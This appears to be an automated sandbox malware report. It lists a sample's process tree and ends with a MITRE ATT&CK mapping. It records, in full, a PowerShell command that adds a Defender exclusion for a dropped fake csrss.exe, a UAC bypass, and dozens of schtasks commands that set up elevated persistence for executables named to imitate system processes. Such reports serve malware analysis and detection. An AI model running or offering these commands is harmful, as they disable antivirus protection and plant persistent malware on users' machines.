- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\css\csrss.exe'
  2⤵
  PID:2332
- C:\Windows\Downloaded Program Files\taskhost.exe
  "C:\Windows\Downloaded Program Files\taskhost.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of AdjustPrivilegeToken
  - System policy modification
  PID:1008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\Users\Public\Music\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:604

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Users\Public\Music\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Users\Public\Music\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1992

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\WMIADAP.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAP" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\WMIADAP.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1376

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\WMIADAP.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Music\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1764

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Users\Admin\Music\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\Music\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'C:\Recovery\d6223342-1a8a-11ed-b209-a59dca5554ed\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Recovery\d6223342-1a8a-11ed-b209-a59dca5554ed\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 6 /tr "'C:\Recovery\d6223342-1a8a-11ed-b209-a59dca5554ed\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Photo Viewer\es-ES\lsm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\es-ES\lsm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsml" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Photo Viewer\es-ES\lsm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'C:\Program Files\Internet Explorer\images\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\images\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1588

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 13 /tr "'C:\Program Files\Internet Explorer\images\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Uninstall Information\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files (x86)\Uninstall Information\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Uninstall Information\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 12 /tr "'C:\Windows\L2Schemas\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Windows\L2Schemas\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 13 /tr "'C:\Windows\L2Schemas\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1464

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 6 /tr "'C:\Windows\Speech\Engines\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1300

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Windows\Speech\Engines\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:968

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 9 /tr "'C:\Windows\Speech\Engines\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 5 /tr "'C:\Windows\Downloaded Program Files\taskhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\Downloaded Program Files\taskhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 6 /tr "'C:\Windows\Downloaded Program Files\taskhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:428

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2088

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2136

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2176

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Windows\tracing\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2204

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\tracing\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Windows\tracing\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 11 /tr "'C:\Windows\IME\fr-FR\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\IME\fr-FR\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 6 /tr "'C:\Windows\IME\fr-FR\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2364

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2384

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\css\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\css\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\css\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2452

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact